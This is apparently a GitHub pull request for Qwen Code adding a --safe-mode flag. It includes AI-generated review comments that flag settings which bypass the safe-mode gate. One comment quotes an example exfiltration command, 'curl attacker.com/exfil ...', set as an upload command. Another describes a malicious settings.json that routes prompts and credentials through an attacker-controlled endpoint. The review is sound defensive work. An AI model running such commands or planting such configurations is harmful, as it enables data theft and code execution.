[Critical] Bare mode regression: settings.tools?.disabled was previously normalized unconditionally (const disabledTools = normalizeDisabledToolList(settings.tools?.disabled)). Now returns [] when bareMode is true. Users running --bare who relied on tools.disabled in settings to block certain tools lose that protection.
Only gate on safeMode:
| bareMode || safeMode | |
| const disabledTools = safeMode | |
| ? [] | |
| : normalizeDisabledToolList(settings.tools?.disabled); |
— qwen3.7-max via Qwen Code /review
| * incorrect data. | ||
| */ | ||
| export function createDaemonSubagentManager( | ||
| boundWorkspace: string, |
There was a problem hiding this comment.
[Suggestion] createDaemonSubagentManager gained a safeMode parameter (default false), but neither caller (workspace-agents.ts:108 and dispatch.ts:435) passes it. The daemon's subagent manager always operates with isSafeMode() === false, so project/user/extension subagents are still loaded and listed in daemon mode even when --safe-mode is active.
Propagate the safe-mode flag from the daemon's config:
const manager = createDaemonSubagentManager(deps.boundWorkspace, deps.safeMode);— qwen3.7-max via Qwen Code /review
| ...(bareMode || safeMode ? [] : (settings.tools?.exclude ?? [])), | ||
| ]; | ||
|
|
||
| // argv.allowedTools adds allow rules (auto-approve). |
There was a problem hiding this comment.
[Suggestion] argv.allowedTools and argv.excludeTools (lines 1586-1593) are appended to mergedAllow/mergedDeny unconditionally in safe mode, while argv.coreTools (line 1564) is explicitly blocked with a stderr warning. This inconsistency makes the safe-mode contract unclear.
A user running qwen --safe-mode --allowed-tools "Bash" would auto-approve shell commands without confirmation, contradicting the "disable all customizations" intent. Consider either guarding these flags behind safe mode (consistent with --core-tools), or documenting that explicit CLI permission flags are intentionally preserved.
— qwen3.7-max via Qwen Code /review
| const mcpServers = | ||
| bareMode || safeMode | ||
| ? {} | ||
| : assembleMcpServers(settings.mcpServers, cwd, topTierMcpServers); |
There was a problem hiding this comment.
[Critical] settings.modelProviders and settings.providerProtocol (lines 1830–1831) are read from settings.json and passed directly into ConfigParameters without any safe-mode guard. These control model routing, API base URLs, and protocol mapping. A malicious project's .qwen/settings.json can define a custom provider with baseUrl pointing to an attacker-controlled server and use providerProtocol to map it to a built-in SDK protocol. If the attacker's model is selected, all API traffic — prompts containing source code, responses, and auth credentials — is routed through the attacker's endpoint.
Nearby, mcpServers (this line) and allowedHttpHookUrls are correctly gated with bareMode || safeMode, but modelProviders/providerProtocol were missed.
| : assembleMcpServers(settings.mcpServers, cwd, topTierMcpServers); | |
| const modelProvidersConfig = bareMode || safeMode ? undefined : settings.modelProviders; | |
| const providerProtocolConfig = bareMode || safeMode ? undefined : settings.providerProtocol; |
— qwen3.7-max via Qwen Code /review
| allowedHttpHookUrls: bareMode | ||
| ? [] | ||
| : (settings.security?.allowedHttpHookUrls ?? []), | ||
| safeMode, |
There was a problem hiding this comment.
[Critical] settings.artifact.host.uploadCommand (line 1966) is a shell command template sourced from settings.json, passed through without any safe-mode guard. It is executed via child_process when artifact publishing is triggered (packages/core/src/tools/artifact/host-publisher.ts). A malicious project settings.json can set uploadCommand to an arbitrary command (e.g., curl attacker.com/exfil --data-binary @- < {file}), achieving code execution even in safe mode.
The entire artifact config block (lines 1961–1979: artifactEnabled, artifactPublisher, artifactHost, artifactOss) lacks safe-mode gating.
| safeMode, | |
| safeMode, | |
| artifactEnabled: bareMode || safeMode ? false : (settings.experimental?.artifact ?? false), | |
| artifactAutoOpen: bareMode || safeMode ? true : (settings.artifact?.autoOpen ?? true), | |
| artifactPublisher: bareMode || safeMode ? 'local' : (settings.artifact?.publisher ?? 'local'), | |
| artifactHost: bareMode || safeMode ? undefined : (settings.artifact?.host | |
| ? { | |
| uploadCommand: settings.artifact?.host?.uploadCommand ?? '', |
— qwen3.7-max via Qwen Code /review
|
|
||
| const sandboxConfig = await loadSandboxConfig( | ||
| bareMode ? ({} as Settings) : settings, | ||
| bareMode || safeMode ? ({} as Settings) : settings, |
There was a problem hiding this comment.
[Suggestion] allowedMcpServers and excludedMcpServers (lines 1703–1706) use } else if (!bareMode) { to guard settings-sourced MCP allow/exclude lists, but this is missing && !safeMode. In safe mode (without bare mode), settings-sourced MCP allow/exclude lists still flow into ConfigParameters.
While mcpServers itself is correctly zeroed to {} in safe mode (line 1849), the allow/exclude metadata from settings.json still passes through, which is semantically inconsistent with safe mode's intent to ignore settings-sourced configuration.
| bareMode || safeMode ? ({} as Settings) : settings, | |
| bareMode || safeMode ? ({} as Settings) : settings, |
(Also apply !bareMode && !safeMode to the MCP allow/exclude guard at line 1702.)
— qwen3.7-max via Qwen Code /review
| bareMode || safeMode ? undefined : settings.permissions?.autoMode, | ||
| }, | ||
| // Permission rule persistence callback (writes to settings files). | ||
| onPersistPermissionRule: async (scope, ruleType, rule) => { |
There was a problem hiding this comment.
[Suggestion] The onPersistPermissionRule callback writes permission rules back to settings.json whenever the user approves a tool. This callback is passed through without a safe-mode guard. In safe mode, a user who approves tools during troubleshooting silently mutates their settings.json — they exit safe mode and later find unexpected permissions.allow rules with no memory of adding them.
This is a silent settings mutation during a session the user believes is a clean, isolated troubleshooting environment.
| onPersistPermissionRule: async (scope, ruleType, rule) => { | |
| onPersistPermissionRule: | |
| bareMode || safeMode | |
| ? undefined | |
| : async (scope, ruleType, rule) => { | |
| const currentSettings = loadSettings(cwd); |
— qwen3.7-max via Qwen Code /review
| @@ -1467,7 +1438,7 @@ export async function loadCliConfig( | |||
| ); | |||
There was a problem hiding this comment.
[Suggestion] setServerGeminiMdFilename(settings.context.fileName) at line 1423 mutates a process-global module variable (currentGeminiMdFilename in packages/core/src/memory/const.ts) unconditionally, even in safe mode. The symmetric output-language.md path at line 1438 correctly adds && !safeMode, but this global state mutation was missed.
The mutated global is read by: (a) ignorePatterns.ts — adds context filenames to file-tool ignore lists, (b) autoMode.ts — uses them for permission checks, (c) writeContextFile.ts — writes memory content to the configured filename. A project settings.json with "context": { "fileName": "INJECT.md" } would change the global filename, making QWEN.md visible to file tools and directing memory writes to an unexpected file.
| ); | |
| if (!bareMode && !safeMode && settings.context?.fileName) { | |
| setServerGeminiMdFilename(settings.context.fileName); | |
| } else { |
— qwen3.7-max via Qwen Code /review
6 participants
What this PR does
Adds a
--safe-modeCLI flag (andQWEN_CODE_SAFE_MODEenvironment variable) that disables all user customizations — context files (QWEN.md/AGENTS.md), hooks, extensions, skills, MCP servers, subagents, and conditional rules — providing a clean baseline session for troubleshooting startup failures, crashes, or unexpected behavior caused by custom configurations.Why it's needed
When users encounter issues caused by malformed hooks, broken MCP servers, or problematic project-level context files, they currently have no way to bypass all customizations at once to isolate the root cause. Safe mode provides a single-flag escape hatch that guarantees a working session with only core built-in functionality, similar to safe mode in operating systems and other developer tools.
Reviewer Test Plan
How to verify
qwen --safe-mode— you should see a "⚠ SAFE MODE" warning in the startup notifications and in the footer bar. No hooks, extensions, MCP servers, or custom skills should load.QWEN_CODE_SAFE_MODE=true qwen— same behavior as the flag.QWEN_CODE_SAFE_MODE=true qwen --no-safe-mode— safe mode should NOT activate (CLI flag takes precedence over env var).qwen --safe-modeand verify the system prompt does not contain content from those files./skillsin safe mode — only bundled system skills should appear, no project/user custom skills.qwenwithout the flag should behave exactly as before.Evidence (Before & After)
After
--safe-modeopen:1、Warning Message:
2、hooks are disabled:
3、memory is disabled:
4、only build-in skills:
Tested on
Environment (optional)
npm run devwith Node.js v22.22.1Risk & Scope
disableAllHooks), safe mode piggybacks on the same code paths./doctorintegration for safe mode diagnostics is deferred to a follow-up iteration.--safe-modeflag defaults to undefined (not passed), so existing behavior is completely unaffected.Linked Issues
#4883
中文说明
本 PR 做了什么
新增
--safe-modeCLI 标志（以及QWEN_CODE_SAFE_MODE环境变量），启用后会禁用所有用户自定义项——上下文文件（QWEN.md/AGENTS.md）、hooks、扩展、skills、MCP servers、subagents 和条件规则——提供一个干净的基线会话，用于排查由自定义配置导致的启动失败、崩溃或异常行为。为什么需要
当用户遇到因格式错误的 hooks、损坏的 MCP servers 或有问题的项目级上下文文件导致的问题时，目前没有办法一次性绕过所有自定义项来隔离根因。Safe mode 提供了一个单标志的逃生入口，保证只使用核心内置功能的可用会话，类似于操作系统和其他开发工具中的安全模式。
审阅者测试计划
如何验证
qwen --safe-mode— 应在启动通知和底栏看到 "⚠ SAFE MODE" 警告。不应加载任何 hooks、扩展、MCP servers 或自定义 skills。QWEN_CODE_SAFE_MODE=true qwen— 与标志行为相同。QWEN_CODE_SAFE_MODE=true qwen --no-safe-mode— safe mode 不应激活（CLI 标志优先于环境变量）。qwen --safe-mode，验证系统提示中不包含这些文件的内容。/skills— 应只显示内置系统 skills，无项目/用户自定义 skills。qwen应与之前完全一致。证据（前后对比）
N/A — 新功能，未更改现有行为。
测试环境
风险与范围
disableAllHooks），safe mode 搭载在相同的代码路径上。/doctor诊断集成延后到后续迭代。--safe-mode标志默认为 undefined（不传递），因此现有行为完全不受影响。